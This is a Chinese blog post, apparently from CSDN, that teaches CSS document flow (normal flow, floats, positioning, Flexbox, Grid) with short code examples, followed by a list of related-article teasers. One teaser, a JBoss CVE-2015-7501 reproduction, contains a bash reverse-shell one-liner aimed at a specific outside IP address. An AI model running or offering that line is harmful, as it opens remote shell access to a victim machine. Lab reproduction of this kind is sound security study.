【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧
日期:2024年9月9日
作者:Commas
签名:(ง •_•)ง 积跬步以致千里,积小流以成江海……
注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对的地方,还望各位大佬不吝赐教,谢谢^ - ^
1.01365 = 37.7834;0.99365 = 0.0255
1.02365 = 1377.4083;0.98365 = 0.0006
文章目录
- 一、前言
- 二、什么是自然文档流?
- 三、跨越自然流:探索其他文档流
- 1. 浮动文档流(Floating Document Flow)
- 2. 定位文档流(Positioned Document Flow)
- 3. Flexbox布局
- 4. Grid布局
- 四、结语

一、前言
在网页设计与开发的世界里,理解文档流是掌握布局艺术的关键。今天,我们就来深入探讨 HTML 与 CSS 中的文档流,包括它的自然形式以及其他几种强大的布局模式。
二、什么是自然文档流?
在 CSS 世界中,自然文档流(Normal Document Flow)是最为基础的布局方式。它遵循元素在 HTML 文档中的出现顺序进行布局,自上而下、从左到右。
- 块级元素(
Block-level elements):如<div>, <p>, <h1>-<h6>等会独占一行,从上到下一个接一个垂直排列,每个元素的宽度默认为容器的100%。,而高度则由内容决定。 - 行内元素(
Inline elements):如<span>, <a>, <img>等则会在同一行内水平排列,直至行满才换行。 - 相对定位元素(
Position: relative):虽然可以相对于其正常位置进行移动,但仍然保留在文档流中。
这种布局方式是构建网页布局的基石,它保证了内容的自然阅读顺序。想象一下,你在阅读一本书。每一页上的文字都是按顺序排列的,这就是自然文档流的直观比喻。文字(行内元素)从左到右流动,当到达页面边缘时,就会移到下一行继续。而章节标题(块级元素)则总是独占一行,位于页面的顶部。
三、跨越自然流:探索其他文档流
虽然自然文档流简单直观,但有时候我们需要更精细的控制。这就引出了几种其他的文档流模式。
1. 浮动文档流(Floating Document Flow)
通过设置元素的 float 属性(如 float: left; 或 float: right;),可以让元素脱离自然文档流,从而能够向左或向右浮动,直到其外边缘碰到包含框或另一个浮动元素的边缘为止,并且允许文本和内联元素环绕在浮动元素周围。浮动元素虽然脱离了常规的文档流,但仍然会影响其后面的块级元素布局
比如,在制作一个图文混排的新闻列表时,你可以让图片浮动在文本旁边,从而实现紧凑且易于阅读的布局。
<div style="border: 1px solid black;">< img src="image.jpg" style="float: left; width: 50px; height: 50px;"><p>这是一个段落,图片会浮动在段落的左边。</p >
</div>
2. 定位文档流(Positioned Document Flow)
通过设置元素的 position 属性(如 position: static; 或 position: absolute; 或 position: fixed; 或 position: sticky;),可以让元素完全脱离文档流,并可以使用 top, right, bottom, left 属性来精确定位。
absolute和fixed定位的元素会相对于其最近的已定位祖先元素或视口进行定位,并且不会占据原位置的空间。static:默认值,元素遵循自然文档流。absolute:相对于最近的非static定位的祖先元素进行绝对定位。fixed:相对于浏览器窗口固定位置,不随页面滚动而移动。sticky: 定位是一种相对定位和固定定位的混合,根据用户的滚动位置变化其定位状态
另外值得指出的是,
position: relative;虽然可以相对于其正常位置进行移动(微调),但仍然保留在文档流中,因此我将其归类为 自然文档流 。
设想一个固定在屏幕顶部的导航栏,无论用户如何滚动页面,它始终可见。这就是fixed定位的典型应用。
.absolute {position: absolute;top: 0px;right: 0;width: 150px;height: 100px;
}
<div class="absolute">简易导航栏(当行子项假定实现了)</div>
3. Flexbox布局
Flexbox 布局提供了一种更加灵活的方式来排列和对齐元素。使用 Flexbox,我们可以轻松地实现水平和垂直居中,以及响应式布局。
-
特点
- 容器内的项目可以沿主轴或交叉轴排列。
- 可以轻松实现复杂的布局需求。
-
示例
.flex-container {display: flex;justify-content: space-between; } .flex-item {width: 100px;height: 100px;background-color: lightpink; }<div class="flex-container"><div class="flex-item">Flex Item 1</div><div class="flex-item">Flex Item 2</div><div class="flex-item">Flex Item 3</div> </div>
4. Grid布局
CSS Grid 布局是一种强大的布局系统,它允许开发者通过创建一个由行和列组成的二维网格来对页面进行布局。Grid 布局使得对齐和分布元素变得非常简单,尤其是在设计复杂的页面布局时。
-
特点
- 可以同时控制行和列。
- 容器元素通过
display: grid;声明变为一个网格容器。 - 可以定义网格线的名称,并通过网格线对齐项目。
- 子元素可以使用
grid-column和grid-row属性来跨越多个网格轨道。
-
示例
以下是
Grid布局的完整示例代码,它创建了一个三列的网格,每个网格项都有背景色、内边距和文本居中。.grid-container {display: grid;grid-template-columns: repeat(3, 1fr); /* 创建三列,每列占据相等的空间 */gap: 10px; /* 网格项之间的间隙 */ }.grid-item {background-color: lightsalmon; /* 网格项的背景色 */padding: 10px; /* 网格项的内边距 */text-align: center; /* 文本居中 */ }<div class="grid-container"><div class="grid-item">Grid Item 1</div><div class="grid-item">Grid Item 2</div><div class="grid-item">Grid Item 3</div><!-- 可以继续添加更多网格项 --> </div>在这个例子中,
.grid-container类定义了一个网格容器,而.grid-item类定义了网格中的项。通过grid-template-columns属性,我们设置了三列,每列都占据相等的空间(1fr表示一个分数单位)。gap属性设置了网格项之间的间隙。
四、结语
无论是简单的文章排版还是复杂的交互界面,掌握这些文档流的概念和用法,对于成为一名优秀的前端开发者至关重要。
参考文章:
- 《CSS:层叠样式表》
- 《CSS Tutorial》
版权声明:本文为博主原创文章,如需转载,请给出:
原文链接:https://blog.csdn.net/qq_35844043/article/details/142357632
相关文章:
【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧
日期:2024年9月9日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对…...
MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量,…...
JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...
每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵
《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump,如下图: 比起最简单的电荷泵,主要好处是UP和DN开关离输出节点较远,因此一定程度…...
低代码开发平台:未来五大发展趋势预测
在数字化转型的浪潮中,低代码开发平台正迅速崛起,成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长,低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...
国内AI大模型,这篇文章说透了
探索国内顶尖AI企业及其创新产品。 人工智能(AI)的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现,不断拓宽着人类智慧的边界。 国内AI发展迅猛,不仅在理论研究上…...
3.4 爬虫实战-爬去智联招聘职位信息
课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...
Java 之注解详解
Java 注解(Annotation)自 Java 5 版本引入,为代码提供了强大的元数据支持。它们如同代码中的标记,能够被编译器、工具和运行时环境识别,赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解:…...
计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)
往期热门项目回顾: 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...
【Spring Cloud】Spring Cloud 概述
Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...
猫头虎带你解决:error Error: certificate has expired
🐯猫头虎带你解决:error Error: certificate has expired 💥 今天有粉丝问猫哥:“🐯猫头虎,我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误:Error: certificate has expired。你能帮忙解…...
盘点2024年4款高效率的语音转文字工具。
语音转换文字软件真的是一种提高效率的神器,我在工作中常常因为手动记录太慢而选择录音。事后在形成记录,但效率比较低。自从知道有直接转换的工具之后,我有再多的录音都不怕了。如果大家也有跟我一样的工作时,可以试试使用这些语…...
记录Mac编译Android源码踩过的坑
学习Android源码,如果电脑配置还不错,最好还是下载一套源码,经过编译后导入到Android Studio中来学习,这样会更加的直观,代码之间的跳转查看会更加方便。因此,笔者决定下载并编译一套源码,以利于…...
C++ 数据结构算法细节相关
细节 队列 这段代码实现的是二叉树的层序遍历,也就是按照树的层次,一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列,队列中存放的是指向TreeNode的指针。队列(queue)是…...
【HTML5】html5开篇基础(1)
1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋,这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章,请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…...
C#自定义曲线绘图面板
一、实现功能 1、显示面板绘制。 2、拖动面板,X轴、Y轴都可以拖动。 3、显示面板缩放,放大或者缩小。 4、鼠标在面板中对应的XY轴数值。 5、自动生成的数据数组,曲线显示。 6、鼠标是否在曲线上检测。 二、界面 拖动面板 鼠标在曲线上…...
Java后端面试题+下一篇答案+实况场景题
uu们大家好!市面上面试题很多,这边汇总并更新一下java后端面试的题目,助大家早日斩下心仪的offer!!(下次跟新场景题...等我多碰几次壁...哈哈哈哈哈) 这边放题目,下一篇跟新所有另面…...
完美解决vant浮动气泡+弹出菜单
使用框架: vue3,vant4 项目需求: 需要有一个浮动气泡,点击弹出导航菜单 遇到的问题: 1. 使用van-floating-bubble包裹van-popover,但点击后只会重复显示不能隐藏 2. popover位置固定,不能根据…...
SpringSecurity -- 入门使用
文章目录 什么是 SpringSesurity ?细节使用方法 什么是 SpringSesurity ? 在我们的开发中,安全还是有些必要的 用 拦截器 和 过滤器 写代码还是比较麻烦。 SpringSecurity 是 SpringBoot 的底层安全默认选型。一般我们需要认证和授权…...
C语言习题~day33
1.以下程序运行时,若输入1abcedf2df输出结果是() #include <stdio.h> int main() { char a 0, ch; while ((ch getchar()) ! \n) { if (a % 2 ! 0 && (ch > a && ch < z)) ch ch - a A; a; putchar(ch); }…...
ES6从入门到精通:前言
ES6简介 ES6(ECMAScript 2015)是JavaScript语言的重大更新,引入了许多新特性,包括语法糖、新数据类型、模块化支持等,显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...
mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
文章目录 现象:mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时,可能是因为以下几个原因:1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...
python报错No module named ‘tensorflow.keras‘
是由于不同版本的tensorflow下的keras所在的路径不同,结合所安装的tensorflow的目录结构修改from语句即可。 原语句: from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后: from tensorflow.python.keras.lay…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
pikachu靶场通关笔记19 SQL注入02-字符型注入(GET)
目录 一、SQL注入 二、字符型SQL注入 三、字符型注入与数字型注入 四、源码分析 五、渗透实战 1、渗透准备 2、SQL注入探测 (1)输入单引号 (2)万能注入语句 3、获取回显列orderby 4、获取数据库名database 5、获取表名…...
热烈祝贺埃文科技正式加入可信数据空间发展联盟
2025年4月29日,在福州举办的第八届数字中国建设峰会“可信数据空间分论坛”上,可信数据空间发展联盟正式宣告成立。国家数据局党组书记、局长刘烈宏出席并致辞,强调该联盟是推进全国一体化数据市场建设的关键抓手。 郑州埃文科技有限公司&am…...
